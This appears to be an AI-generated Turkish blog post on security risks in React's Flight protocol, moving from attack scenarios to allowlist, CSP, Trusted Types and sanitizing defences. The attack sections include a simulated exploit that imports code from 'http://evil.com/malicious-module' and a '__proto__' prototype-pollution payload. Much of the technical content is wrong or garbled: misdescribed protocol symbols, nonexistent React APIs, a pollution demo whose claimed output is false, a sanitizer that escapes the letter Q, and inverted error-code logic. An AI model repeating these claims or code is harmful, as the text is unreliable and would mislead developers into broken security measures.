
Thu Sep 24 2026

Hadi beraber keşfedelim 🚀. React Server Components (RSC) dünyasına adım attığımızda, göreceğimiz ilk şey Flight Protokolü başlığı altında saklanan bir mekanizma. Bu protokol, basit bir veri aktarım formatı gibi gözükmüyor. Aslında sunucu ile istemci arasında bir kontrat ve güven sınırı oluşturuyor.
🎯 Olayın Özü
🔍 Konumuz Neler?
json.parse işlemini güvenli hale getirin.{
"type": "react-node",
"key": "unique-key",
"props": {
"children": "Merhaba Dünya!"
},
"env": "production"
}
Bu sayede ne oluyor? ✅ Her mesaj, tek bir kaynaklı güvenilir bir React düğümü mü yazıyor, böylece istemci tarafında kod enjeksiyonunu önlerken esnekliği koruyoruz.
Hazırsan Flight protokolünün wire format’ına yakından bakalım 🚀. React Server Components (RSC) sunucuda render edildiğinde, component ağacı bir JSON‑benzeri akışa (stream) dönüştürülür. Bu işlem serialization; tarayıcıda ise createFromFetch / createServerReference ile bu akış tekrar canlı componentlere çevrilir – bu da deserialization.
| Sembol | Anlamı | Nerede görürsün? |
|---|---|---|
| $ | Server reference – bir modül veya fonksiyonun kimliğini belirtir. | "$": "./actions/login.server.js" |
| @ | Client reference – client tarafında hydrate edilecek componentin kimliği. | "@": "components/Button" |
| : | Chunk delimiter – birden fazla chunk’ı ayırır (stream sınırları). | "chunks": ["...:..."] |
| Q | Query/placeholder – lazy‑loaded veya suspense içeren yer tutucular. | "Q": "SuspenseBoundary#1" |
| $L | Lazy module – React.lazy ile yüklenecek modül işaretçisi. |
"$L": "./HeavyComponent" |
Kısaca:
$= “sunucudan geliyor”,@= “istemciye gidiyor”,:= “parça ayırıcı”,Q= “bekleyen yer”,$L= “lazy yüklenecek”.
Aşağıdaki JSON, App adlı bir server component’ın Flight wire format’ında nasıl göründüğünü gösterir. Gerçek akışta bu tek bir obje değil, newline‑delimited JSON (NDJSON) satırları olarak stream edilir.
{
"id": "./App.server.js",
"chunks": [
"{\"$L\":\"./Header.server.js\"}:",
"{\"@\":\"components/Navbar\",\"props\":{\"title\":\"Merhaba\"}}:",
"{\"$\":\"./actions/fetchUser.server.js\",\"args\":[123]}:"
],
"modules": {
"./App.server.js": {
"type": "component",
"export": "default"
},
"./Header.server.js": {
"type": "lazy",
"export": "default"
},
"./actions/fetchUser.server.js": {
"type": "function",
"export": "fetchUser"
}
}
}
Ne oluyor burada?
id – Giriş noktası (root server component).chunks – Her satır bir chunk; : ile biter, bu sayede tarayıcı parçaları sırayla işler.$L – Header lazy yüklenecek, client tarafında React.lazy ile çekilecek.@ – Navbar client component’i, props ile birlikte hydrate edilecek.$ – fetchUser server action’ı; client’da createServerReference ile çağrılabilir hale getirilir.modules – Her modülün meta verisi (tip, export adı) – deserialization sırasında hangi dosyanın ne olduğunu bilmek için.// client entry (app/client.js)
import { createFromFetch } from 'react-dom/client';
const response = await fetch('/rsc-payload'); // Sunucudan stream gelir
const { root } = createFromFetch(response); // Flight parser devreye girer
root.render(document.getElementById('root')); // Hydration başlar
createFromFetch – Response body’yi Flight decoder’a verir.$, @, $L sembollerine göre:
$ → createServerReference ile callable stub oluşturur.@ → Client component’i import eder, props ile hydrate eder.$L → React.lazy wrapper’ı üretir, gerektiğinde chunk yüklenir.Q) varsa, placeholder gösterilir, gerçek chunk gelince swap yapılır.$, @, $L, Q, :).createFromFetch + Flight decoder → Client component tree + Server Action stubs.Hadi şimdi bir sonraki bölümde Server Actions ve use server direktifinin Flight ile nasıl dans ettiğine bakalım 🎉.
Güvenlik dünyasında sink (hedef/çöp kutusu), dışarıdan gelen verinin tehlikeli bir işleme (ör. eval, new Function, dinamik import) girdiği noktadır. React Flight protokolünde deserialization sırasında bu sink'ler tam olarak güven sınırı (trust boundary) çizgisi üzerinde durur: sunucudan gelen controlled data istemci tarafında kod yürütmeye dönüşebilir.
createFromFetch – Ağ yanıtını akışla alır ve deserialize pipeline’ına sokar.readNextChunk – Akıştan bir sonraki chunk’ı okur, $ sembolünü gördüğünde modül yükleme tetikler.resolveModule – $ ile başlayan referansları import() veya require ile çözer (bu da aslında eval‑benzeri bir davranıştır).$ ile geldiğinde, istemci action fonksiyonunu dinamik olarak import eder ve çalıştırır.Bu noktaların hepsi “sunucudan gelen veri → istemci tarafında kod yürütme” akışını oluşturur. Yani Controlled Data → Dangerous Sink.
deserialize / readNextChunk mantığıReact kaynak kodunda (veya pseudo‑kod olarak) $ sembolü görüldüğünde ne olduğunu görelim:
function readNextChunk(stream) {
const chunk = stream.read();
if (!chunk) return null;
// Chunk bir string ise ve '$' ile başlıyorsa modül referansıdır
if (typeof chunk === 'string' && chunk[0] === '$') {
// 👇 Tehlikeli sink: dinamik import / modül yükleme
return resolveModule(chunk.slice(1));
}
// Normal veri (JSON, metin vb.) → güvenli olarak döndür
return JSON.parse(chunk);
}
async function resolveModule(moduleId) {
// Bu nokta trust boundary'dir: sunucu tarafından kontrol edilen ID
// İstemci tarafında 'import()' çalıştırılır → kod yürütme
const mod = await import(/* webpackIgnore: true */ moduleId);
return mod.default ?? mod;
}
Ne oluyor burada?
readNextChunk akıştan gelen her parçayı inceler.$ ile başlıyorsa, bu bir modül referansı anlamına gelir.resolveModule çağrılır ve import(moduleId) çalıştırılır.moduleId sunucudan geldiği için, saldırgan sunucu yanıtını manipüle ederse istendiği herhangi bir modülü yükletebilir (veya kötü niyetli bir paket adı vererek kod enjekte edebilir).Sunucu yanıtı (Flight stream)
│
▼
createFromFetch → readNextChunk
│
├─ Normal JSON → güvenli parse
│
└─ "$moduleId" ──► resolveModule(moduleId)
│
▼
import(moduleId) ←── TEHLİKELİ SINK (eval‑benzeri)
│
▼
Modül kodu çalışır (Client side)
Bu nedenle deserialization sink’leri aslında güven sınırıdır: sunucudan gelen veriyi kontrol edemediğimiz bir noktada kod yürütmeye dönüştürürüz. Bu noktalarda doğrulama, allow‑list veya imza kontrolü olmadan herhangi bir $ referansını kabul etmek, RCE (Remote Code Execution) riskini beraberinde getirir. 🚨
Özet:
createFromFetch → readNextChunk → resolveModule → Server Action import.$ sembolüyle tetiklenir ve dinamik import (eval benzeri) çalıştırır.Hazırsan bu senaryoyu adım adım inceleyelim 🎯.
Önce sorun ne?, sonra nasıl kötüye kullanılır?, son olarak ne yapabiliriz? diye gidelim.
$ işaretiyle başlayan bir server reference stringi yer alır.createFromFetch ile işlerken resolveServerReference fonksiyonu tetiklenir.import()) çalıştırılır → RCE ya da hassas veri sızması olur.Kısaca: Sunucu “güvenli” sanılan bir string gönderir, istemci bunu kod olarak yürütür. Bu bir gadget chain (zincirleme exploit) örneğidir.
{
"root": {
"type": "ServerAction",
"id": "$A1B2C3",
"payload": {
"action": "$import('http://evil.com/malicious-module')"
}
},
"references": {
"$A1B2C3": {
"module": "http://evil.com/malicious-module",
"export": "default"
}
}
}
Ne oluyor burada?
payload.action alanı $ ile başlıyor → React bu değeri bir server reference olarak algılar.references kısmında atacak modülün tam URL’si yer alıyor.createFromFetch ile parse ettiğinde resolveServerReference dinamik import yapar.// 🛠 Basit bir simulate: createFromFetch yerine doğrudan resolveServerReference çağırıyoruz
async function exploit() {
// Zehirlenmiş payload (normalde network'ten gelir)
const poisonedPayload = {
action: "$import('http://evil.com/malicious-module')"
};
// React'in iç fonksiyonu (örnek amaçlı basitleştirilmiş)
async function resolveServerReference(ref) {
// ref örn: "$import('http://evil.com/malicious-module')"
if (ref.startsWith('$import(')) {
const url = ref.slice(8, -1); // "$import('" ve "')" kırpılır
console.log('⚡️ Dinamik import tetikleniyor →', url);
// Gerçek ortamda: return import(url);
// PoC için sadece loglıyoruz:
return { malicious: true, source: url };
}
throw new Error('Bilinmeyen referans');
}
// Saldırıyı çalıştır
const result = await resolveServerReference(poisonedPayload.action);
console.log('✅ Exploit sonucu:', result);
}
exploit().catch(console.error);
Nasıl çalışıyor?
poisonedPayload.action string’i $import(...) formatındadır.resolveServerReference bu prefix’i tanır ve import(url) çağrısı yapar.process.env okuyup dışarı gönderirse → hassas veri sızması.$import(...))createFromFetch → resolveServerReferenceimport() (kod yürütme)Özet: Güvenilmeyen veri referans çözümleyicide kod olarak değerlendiriliyorsa, zincir tamamlanır. Bu yüzden server reference stringlerini asla kullanıcı kontrolünde bırakmamalıyız.
resolveServerReference içine sandbox / CSP koyun.Sonuç: Bu senaryo, RSC’in Flight protokolündeki server reference mekanizmasının yanlış kullanıldığında nasıl bir RCE yol haritası oluşturabileceğini gösterir. Kodunuza “güvenilir mi?” diye sormaya alışın 🚀.
Flight format’ındaki @ (ID referansı) ve : (map/set) yapıları, eğer doğrudan Object.prototype’ye yazma izni veriyorsa, bir saldırgan Prototype Pollution açığına kapı aralar 🚪.
Basitçe: payload’ın içine __proto__ ya da constructor.prototype enjekte ederek, global Object davranışını bozabilir ve sonrasında gelen JSON.parse, React’ın cloneDeep benzeri işlemleri manipüle edebilirsiniz 🎯.
{
"root": {
"@1": { "type": "User", "name": "legit" },
"@2": { "__proto__": { "polluted": true } },
"ref": "@2"
}
}
Ne oluyor burada?
@2nesnesi__proto__anahtarını taşıyor.- Deserialization sırasında Flight parser’ı bu anahtarı
Object.prototype’ye yazmaya çalışır.- Başarılı olursa her yerde
Object.prototype.polluted === trueolur.
// Flight payload'ını simüle eden basit bir deserialize fonksiyonu
function deserializeFlight(payload) {
// Gerçek Flight parser'ı daha karmaşıktır; burada sadece JSON.parse + basit referans çözümü var
const obj = JSON.parse(payload);
// @ referanslarını çöz (basitçe)
function resolve(o) {
if (Array.isArray(o)) return o.map(resolve);
if (o && typeof o === 'object') {
for (const k of Object.keys(o)) {
if (k.startsWith('@')) continue; // ID'leri atla
o[k] = resolve(o[k]);
}
}
return o;
}
return resolve(obj);
}
// Payload string'i (yukarıdaki JSON'ın string hali)
const payload = `{
"root": {
"@1": { "type": "User", "name": "legit" },
"@2": { "__proto__": { "polluted": true } },
"ref": "@2"
}
}`;
deserializeFlight(payload);
// Kontrol
console.log('Object.prototype.polluted =', Object.prototype.polluted); // true yazmalı
Çıktı bekleniyor:
Object.prototype.polluted = true
__proto__ / constructor.prototype alanlarına izin vermek, global prototype’ı kirletir.JSON.parse, React cloneDeep, Redux serializer vb. her yerde beklenmedik davranış yaratır.Küçük bir hatırlatma: Production’da Flight verisini Object.create(null) tabanlı bir map’te parse edip, __proto__/constructor.prototype anahtarlarını reddetmek en güvenli yol 🚀.
Hazırsan bu konuyu derinlemesine inceleyelim. React Server Components (RSC) payload'ını deserialize ederken hiçbir zaman ham veriyi güvenemezsiniz. Sunucudan gelen her bayt, bir saldırgan tarafından manipüle edilmiş olabilir. Bu yüzden kod seviyesinde ilk savunma hattımız: kendi safeDeserialize wrapper'ımızı yazmak 🛡️
React'in dahili deserialize fonksiyonu (veya createFromFetch öncesinde stream'i intercept ederek) gelen payload'u Allowlist (İzin Listesi) mantığıyla validate etmemiz gerekiyor. Sadece:
yüklenmesine izin veren bir middleware mantığı kuracağız. TypeScript'in type guard gücünü kullanarak compile-time ve runtime güvenliğini bir arada sağlayacağız ✅
Önce component manifest'imizin nasıl göründüğünü belirleyelim. Bu, derleme zamanında üretilen, production'a deploy edilen statik bir JSON dosyası olacak:
// types/manifest.ts
export interface ComponentManifest {
components: Record<string, ComponentEntry>;
serverActions: Record<string, ServerActionEntry>;
}
export interface ComponentEntry {
id: string; // Örn: "app/dashboard/Page#Page"
name: string; // Örn: "Page"
path: string; // Örn: "app/dashboard/Page.tsx"
exportedNames: string[]; // ['default', 'Metadata']
}
export interface ServerActionEntry {
id: string; // Örn: "app/actions/submitForm#submitForm"
name: string; // Örn: "submitForm"
path: string; // Örn: "app/actions/submitForm.ts"
}
Bu sayede ne oluyor? Manifest, "hangi component'ler ve action'lar meşru" bilgisini tutar. Runtime'da payload'daki $ referanslarını bu listeye karşı kontrol ederiz. Listede yoksa → şüpheli ⛔
Önce payload yapısını tanımlayıp, type guard'larımızı yazalım. Bu sayede TypeScript bize "bu payload güvenli mi?" sorusuna derleme anında cevap verebilecek:
// lib/safe-deserialize/guards.ts
import type { ComponentManifest } from '@/types/manifest';
/** RSC payload'daki bir node'un baz tipi */
export interface RSCNode {
$: string; // Referans ID'si (manifest'teki id ile eşleşmeli)
// ... diğer alanlar (props, children, vb.)
}
/** Payload'un kök yapısı */
export interface RSCPayload {
roots: RSCNode[];
// Diğer alanlar: modules, actions, vb.
}
/** Manifest'te kayıtlı bir component mi? */
export function isAllowedComponent(
node: RSCNode,
manifest: ComponentManifest
): node is RSCNode & { $: keyof ComponentManifest['components'] } {
return node.$ in manifest.components;
}
/** Manifest'te kayıtlı bir Server Action mı? */
export function isAllowedServerAction(
node: RSCNode,
manifest: ComponentManifest
): node is RSCNode & { $: keyof ComponentManifest['serverActions'] } {
return node.$ in manifest.serverActions;
}
Nasıl çalışıyor? isAllowedComponent ve isAllowedServerAction fonksiyonları TypeScript'e: "Eğer bu fonksiyon true dönerse, node.$ kesinlikle manifest'te kayıtlı bir key'dir" der. Bu da narrowing sağlar — sonraki kodda node.$ tip güvenliğini kullanabiliriz 🎯
safeDeserialize 🛠Şimdi asıl kahramanımızı yazalım. Bu fonksiyon:
$ referansını manifest'e karşı kontrol ederSecurityError fırlatır// lib/safe-deserialize/index.ts
import type { ComponentManifest, RSCPayload, RSCNode } from '@/types/manifest';
import { isAllowedComponent, isAllowedServerAction } from './guards';
/** Güvenlik ihlali durumunda fırlatılacak özel hata */
export class SecurityError extends Error {
constructor(
message: string,
public readonly code: 'UNKNOWN_COMPONENT' | 'UNKNOWN_ACTION' | 'MALFORMED_PAYLOAD',
public readonly suspiciousRef?: string
) {
super(message);
this.name = 'SecurityError';
}
}
/**
* Güvenli deserialize wrapper'ı
* @param payload - Ham RSC payload (JSON string veya parsed object)
* @param manifest - Derleme zamanında üretilen component manifest'i
* @returns Validate edilmiş, güvenli RSCPayload
* @throws {SecurityError} Payload manifest'te olmayan referans içeriyorsa
*/
export function safeDeserialize(
payload: string | RSCPayload,
manifest: ComponentManifest
): RSCPayload {
// 1️⃣ String ise parse et (stream'dan geliyorsa burası sizin parse logic'iniz olacak)
const parsed: RSCPayload = typeof payload === 'string'
? JSON.parse(payload)
: payload;
// 2️⃣ Temel yapı kontrolü — malformed payload koruması
if (!parsed || !Array.isArray(parsed.roots)) {
throw new SecurityError(
'Geçersiz payload yapısı: "roots" dizisi eksik veya bozuk',
'MALFORMED_PAYLOAD'
);
}
// 3️⃣ Tüm node'ları recursive olarak tara ve validate et
const visited = new Set<string>(); // Circular ref koruması 🔁
function validateNode(node: unknown, path: string[] = []): void {
// Primitive değerleri atla
if (node === null || typeof node !== 'object') return;
const obj = node as Record<string, unknown>;
// Circular reference kontrolü
const nodeId = JSON.stringify(node); // Basit bir fingerprint
if (visited.has(nodeId)) return;
visited.add(nodeId);
// $ referansı var mı? 🎯
if ('$' in obj && typeof obj.$ === 'string') {
const ref = obj.$ as string;
const currentPath = [...path, ref].join(' > ');
// Component mi, Action mı? Manifest'e bak 🔍
const isComponent = isAllowedComponent(obj as RSCNode, manifest);
const isAction = isAllowedServerAction(obj as RSCNode, manifest);
if (!isComponent && !isAction) {
// ⛔ MANIFEST'TE YOK → SALDIRI OLASILIĞI
throw new SecurityError(
`İzinsiz referans tespit edildi: "${ref}" (path: ${currentPath})`,
isComponent ? 'UNKNOWN_COMPONENT' : 'UNKNOWN_ACTION',
ref
);
}
// ✅ İzinli — tip daraltma sayesinde obj.$ artık manifest key'i olarak tip güvenli
}
// Children/props içine recursive in
for (const [key, value] of Object.entries(obj)) {
if (key === '$') continue; // Zaten kontrol ettik
if (Array.isArray(value)) {
value.forEach((v, i) => validateNode(v, [...path, key, String(i)]));
} else if (value !== null && typeof value === 'object') {
validateNode(value, [...path, key]);
}
}
}
// 4️⃣ Her root node'u validate et
parsed.roots.forEach((root, index) => {
validateNode(root, [`root[${index}]`]);
});
// 5️⃣ Her şey yolunda — güvenli payload'u döndür ✅
return parsed;
}
| Adım | Ne Oluyor? | Neden Önemli? |
|---|---|---|
| Parse | String payload'ı JSON'a çevirir | Stream'den geliyorsa sizin parser'ınızı buraya koyun |
| Yapı kontrolü | roots dizisi var mı? |
Malformed payload'ları erken yakalar ⛔ |
| Recursive tarama | Her node'u gezerek $ arar |
Derinlemesine nested component'leri de korur 🔁 |
| Manifest kontrolü | $ ref'i manifest'te var mı? |
Allowlist mantığı — sadece bilinen component/action yüklenir ✅ |
| Type guard kullanımı | isAllowedComponent/Action |
TypeScript'in narrowing'i sayesinde tip güvenliği 🎯 |
| SecurityError | Şüpheli ref'te fırlatır | Hata kodları ile loglama/monitoring kolaylaşır 📊 |
// app/rsc-loader.ts
import { safeDeserialize, SecurityError } from '@/lib/safe-deserialize';
import manifest from '@/manifest.json'; // Build-time generated
async function loadRSCPayload(fetchResponse: Response) {
const rawPayload = await fetchResponse.text(); // Stream'i ham al
try {
const safePayload = safeDeserialize(rawPayload, manifest);
// ✅ Artık React'in deserialize'ine güvenle verebilirsiniz
return React.deserialize(safePayload);
} catch (err) {
if (err instanceof SecurityError) {
// 📝 Logla, alert at, metrik gönder
securityLogger.warn('RSC payload reddedildi', {
code: err.code,
suspiciousRef: err.suspiciousRef,
userAgent: headers().get('user-agent'),
});
}
throw err; // Üste bubbling — error boundary yakalasın
}
}
---
### Son söz 🎯
Bu wrapper, **saldırı yüzeyini minimumda tutar**: manifest'te olmayan herhangi bir component veya action asla render edilmez. TypeScript type guard'ları sayesinde hem compile-time hem de runtime'da güvenliysiniz.
**Bir sonraki bölümde** bu wrapper'ı `createFromFetch` veya custom stream reader ile nasıl entegre edeceğimizi, ve streaming sırasında **chunk-by-chunk** validasyon yaparak memory verimliliğini nasıl artıracağımızı göreceğiz 🚀
Hadi devam edelim!
---
## 🛠 Savunma Stratejisi 2: Content Security Policy (CSP) ve Trusted Types Entegrasyonu
Kod seviyesinde doğrulama yaptık, **nonce** ekledik, hash'ler hesapladık. Peki ya tarayıcı kendisi bizim için bir güvenlik kapısı kurarsa? 🎯 İşte tam bu noktada **CSP** ve **Trusted Types** devreye giriyor. Bu, "Defense in Depth" (Derinlikte Savunma) zihniyetinin tarayıcı katmanındaki en somut örneği.
Flight protokolü React 19 / Next.js 14+'te sunucu bileşenlerini **stream** ederken, tarayıcıya dinamik `<script type="module">` etiketleri enjekte eder. Bu script'ler `createScriptURL` veya `createScript` sink'lerinden geçer. Eğer bir saldırgan bu URL'leri manipüle ederse (örneğin `https://evil.com/payload.js` enjekte ederse), CSP olmadan tarayıcı mutlu mutlu indirip çalıştırır. ❗️
### CSP: İlk Hat Savunması 🛡️
`script-src` direktifi ile **hangijen kaynaklardan script yüklenebileceğini** tarayıcıya söylüyoruz. Flight'in ürettiği inline modüller için `'strict-dynamic'` + nonce kombinasyonu en sağlıklısıdır.
**Örnek: `next.config.js` içinde CSP header'ı**
```javascript
// next.config.js
const cspHeader = `
default-src 'self';
script-src 'self' 'strict-dynamic' 'nonce-{RUNTIME_NONCE}';
trusted-types react-flight;
base-uri 'self';
form-action 'self';
`.replace(/\s{2,}/g, ' ').trim()
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: [
{
key: 'Content-Security-Policy',
value: cspHeader,
},
],
},
]
},
}
Ne oluyor burada?
'strict-dynamic' → nonce'lu script'lerin kendi yarattığı script'lere güvenmesini sağlar (Flight'in stream ettiği modüller için kritik).trusted-types react-flight → Tarayıcıya "sadece react-flight adlı policy'den geçen URL'leri kabul et" der. Bu ikinci hat savunmamız. ✅Not: Vercel'de
vercel.jsonile de aynı header'ı verebilirsin. Nginx'teadd_header Content-Security-Policy "...";şeklinde.
CSP kaynakları kısıtlar, ama zaten izinli bir kaynaktan (örneğin CDN'nizden) gelen kötü niyetli bir URL'i engellemez. Trusted Types tam bu boşluğu doldurur: createScriptURL sink'ine düşen her string'i bir policy'den geçirmek zorundasın.
Tarayıcı konsolunda şu hatayı görürsen politya yok demektir:
Failed to set a 'script' because it violates the Trusted Types policy.
Browser-side policy tanımı (örneğin app/providers/TrustedTypesProvider.tsx)
'use client'
import { useEffect } from 'react'
export function TrustedTypesProvider({ children }: { children: React.ReactNode }) {
useEffect(() => {
if (typeof window === 'undefined' || !window.trustedTypes) return
// Policy zaten varsa (HMR vb.) tekrar oluşturma
if (window.trustedTypes.getPolicy('react-flight')) return
window.trustedTypes.createPolicy('react-flight', {
// Flight createScriptURL sink'ine düşen her URL buradan geçer
createScriptURL: (url: string) => {
// 🔍 Kendi validasyon mantığını yaz
if (!isAllowedFlightScript(url)) {
throw new Error(`TrustedTypes blokladı: ${url}`)
}
return url // güvenliyse aynen döndür
},
// createScript (inline script) için de aynı mantık
createScript: (script: string) => {
if (!isAllowedInlineScript(script)) {
throw new Error('Inline script policy reddetti')
}
return script
},
})
}, [])
return <>{children}</>
}
// Basit allow-list örneği — production'da çok daha katı olmalı
function isAllowedFlightScript(url: string): boolean {
try {
const u = new URL(url, window.location.origin)
// Sadece kendi origin'imizden veya onaylı CDN'lerden gelmesine izin ver
return u.origin === window.location.origin || u.hostname === 'cdn.example.com'
} catch {
return false
}
}
function isAllowedInlineScript(script: string): boolean {
// Flight inline script'leri genellikle `self.__next_f.push(...)` formatındadır
return script.startsWith('self.__next_f.push(')
}
Bu kod ne yapar?
createPolicy('react-flight', ...) → CSP header'ındaki trusted-types react-flight ile birebir eşleşir.createScriptURL → Flight'in modül URL'leri bu fonksiyondan geçer. Burada throw atarsan tarayıcı script'i YÜKLEMEZ. ⛔createScript → Eğer Flight inline script enjekte ederse (nadiren) bu sink devreye girer.| Katman | Ne Korur? | Atlatılırsa Ne Olur? |
|---|---|---|
| Input Validation / Sanitization | Kötü veri girmez | Saldırgan payload üretir |
| Nonce + Hash (CSP) | Sadece bizim script'lerimiz çalışır | CDN hacklenirse veya supply-chain atak olursa? |
| Trusted Types | Sink'e düşen her URL/string policy'den geçer | Policy bypass edilirse (çok zordur) CSP hala durdurur |
Özetle: CSP kaynağı kısıtlar, Trusted Types sink'e ne girdiğini denetler. İkisi bir arada = katmanlı zırh. 🛡️
Pratik ipucu: Geliştirme ortamında
Content-Security-Policy-Report-Onlyheader'ı ile başla. Konsoldaki raporları izle, policy'yi daralt, sonra enforce moduna al. Bu sayede production'u bozmazsın. 🚀
Kullanıcı verilerini component prop'u olarak sunucuya taşıdığımızda, bu verilerin doğrudan Flight payload'ına yazılması bir tehdit oluşturabilir. Flight protokolü özel karakterleri ($, @, :, Q) komut nosyonları olarak yorumlar. Bunlar hangi payload'ın komut olduğunu gösterir, bu yüzden onları kontrol altına almazsak kolayca eskalasyonlu komutlara açılırız.
Pratik bir örnek üzerinden anlayalım:
// pages/profile.js (Next.js Server Component)
export default function Profile({ bio }) {
return <div>{bio}</div>;
}
Eğer bio değişkeni https://example.com/api/user endpoint'inden gelen bir JSON ve burada
{
"bio": "Ben $Q@atak!"
}
değerini içeriyorsa, bio doğrudan <Profile bio={bio} /> komponentine aktarılır ve Flight payload'ına yazılır. Harf $Q@ Flight'e özel komut kodları olarak hesaplanır ve istenmeyen bir yüklemeye izin veririz.
sanitizeForFlight yardımcı fonksiyonuGelen string'i uyumluluğa getirir, bunların hepsini unicode escape karışımına çevirir.
/**
* `sanitizeForFlight(input: string): string`
* Flight protokolü tarafından komut olarak yorumlanabilecek karakterleri unicode escape sekanslarına dönüştürür.
*/
function sanitizeForFlight(input: string): string {
return input
// Flight'e özgü özel karakterler
.replace(/\$/g, '\\u0024') // $ → \u0024
.replace(/@/g, '\\u0040') // @ → \u0040
.replace(/:/g, '\\u003A') // : → \u003A
.replace(/Q/g, '\\u0051'); // Q → \u0051
}
// pages/profile.js
import { sanitizeForFlight } from '@/lib/sanitize';
export default function Profile({ bio }) {
// Gelen veriyi sanitize et
const safeBio = sanitizeForFlight(bio);
return <div>{safeBio}</div>;
}
JSON.stringify ile birlikte kullanım çok önerilir. Uzaklaştırma işlemi artık serileştirilir.
// pages/api/user.js (Next.js API Route)
export async function GET(req, res) {
const user = await getUserFromDb();
// JSON.stringify => karakterler serileştirilir
const payload = JSON.stringify({ bio: sanitizeForFlight(user.bio) });
// Flight → artık komut sekanslarını içermiyor
return res.json(payload);
}
Bu sayede ne oluyor?
$, @, : ve Q karakterleri artık Flight'e özgü bir komut olarak görünmez, unicode escape sekansları olarak sayılır.Anahtar Öğretiler 🎯
JSON.stringify ile flight-safe hale getir.escapeForJS yardımcı fonksiyonlarını kullan veya kendine özel bir küçük bir escape mantığı yap.Böylece, server component'i veya API route'unu kullanıcı tarafından kontrol edilen payloadların Flight komutu olarak tanınmasından korumuş oluruz. Güvenli uygulamalar! 🛡️
useServer / useActionState Yeni YüzeylerBakar mıyız? React 19, useServer direktifi ve yeni useActionState hook'u ile birlikte hem seri hale getirme hem de güvenlik açısından hareket alanını (attack surface) genişletti. Hadi pratik bir örnek üzerinden anlayalım.
use server ile işaretlenen fonksiyonlar artık client component'lerde bile referans çözümlenebilir ve Flight verisi aracılığıyla gönderilebilir.useActionState ile sunucu eylemlerinin parçalanması 🔁useActionState, form durumunu client tarafında tutarken arka planda sunucu eylemlerini çağırmamızı sağlar. Artık hem client state hem de server state serialize edilir, bu da yeni bir güvenlik yüzeyine işaret eder.
server-only paketini görelim 🛠Eğer sunucu tarafı kodunu yanlışlıkla client'a taşırsanız, siz de yeni yüzeylerden birinden vazgeçersiniz: serialization güvenlik ihlalleri.
// components/LeakExample.jsx
'use client';
import { useFormStatus } from 'react';
// Server fonksiyonunu client component'da tanımladık
async function leakFn() {
// Bu, client'a gönderilebilir – tehlikeli!
const res = await fetch('https://api.example.com/secret', {
method: 'POST',
body: JSON.stringify({ secret: 'payload' }),
});
return res.json();
}
function Form() {
const { pending } = useFormStatus();
return (
<form action={leakFn}>
<button type="submit" disabled={pending}>
Sızdır
</button>
</form>
);
}
Ne oluyor burada? ❌
leakFn client paketinde kaldı ve runtime'da şifre gönderdi.import 'server-only' ile doğru kullanım// actions/createPost.js
import 'server-only'; // ❌ Client tarafında SSR edilirse hata fırlatır
export async function createPost(data) {
// Gerçek sunucu tarafı işlemleri (DB, API, vb.)
console.log('Sunucu tarafında çalışıyorum:', data);
return { id: Date.now() };
}
// components/PostForm.jsx
'use client';
import { useFormStatus } from 'react';
import { createPost } from '../actions/createPost';
function PostForm() {
const { pending } = useFormStatus();
return (
<form action={createPost}>
<button type="submit" disabled={pending}>
Gönder
</button>
</form>
);
}
Neden çalışıyor? ✅
import 'server-only' compile zamanında client tarafında varsa bir hata fırlatır.Birçok ekip ayrıca eslint-plugin-server-only gibi bir plugin kullanıyor:
{
"plugins": ["server-only"],
"rules": {
"server-only/no-process-env": "error"
}
}
Artık hatalı import'ları yakalıyor ve otomatik olarak sızma noktalarını azaltıyor.
useServer → daha fazla referans çözümlemesi, daha geniş deserialization yüzeyi.useActionState → hem client hem de server state'i serialize eder.import 'server-only' → server tarafı kodunun client'a sızmasını engeller.Bir sonraki sunucu tarafı eyleminizde kesinlikle import 'server-only' kullanmaya özen gösterin; böylece yeni yüzeylerin sunduğu heyecanı güvenle karşılayın. İyi kodlamalar! 🚀
Arkadaşlar, gelin şimdi durup genel resmi bir gözden geçirelim. Flight protokolü harika — streaming, serialization, performans... Hepsi bir bir. Ama bu güçün arkasında, eğer dikkat etmezseniz sizi yutabilecek bir risk de yatıyor 🎭
Ne oluyor burada aslında?
"Sunucu güvenilir, oradan gelen her şey temizdir" diye düşündüğünüz an — Trusted Server Assumption — sisteminiz en zayıf haline geliyor ⛔$ veya @ sembolü... ve oyun bitmiş oluyorBunu bir "yarın yaparım" listesine eklemeyin. Hemen şu üç adımı atın:
Kendi safeDeserialize wrapper'ınızı yazın
Kütüphaneye güvenmeyin, kendi kontrolünüzü koyun. allowList mantığıyla yalnızca beklediğiniz tipleri kabul edin.
CSP ve Trusted Types'ı aktif edin
Tarayıcı seviyesinde bir ikinci hat koyun. script-src 'self' ve trusted-types policy'si olmadan production'a çıkmayın ✅
Code Review'da $ ve @ sembollerini görünce durun
Her gördüğünüzde sorun: "Bu veri güvendi mi?"
Eğer cevap "emin değilim" ise → reddedin, sanitize edin, test edin 🔁
Güvenlik bir ürün değildir ki satın alsınız bitirirsiniz. Bir süreçtir, bir alışkanlıktır, bir kültüredir 🌱
Küçük adımlar atın, sürekli soru sorun, "bunu nasıl kırabilirim?" diye düşünün. Zamanla bu refleks sizin için doğal hale gelecek.
Güvenli kodlamalar! 🚀
Bu içerik tamamen yapay zeka destekli otomasyon sistemi ile üretilmiştir.
All rights reserved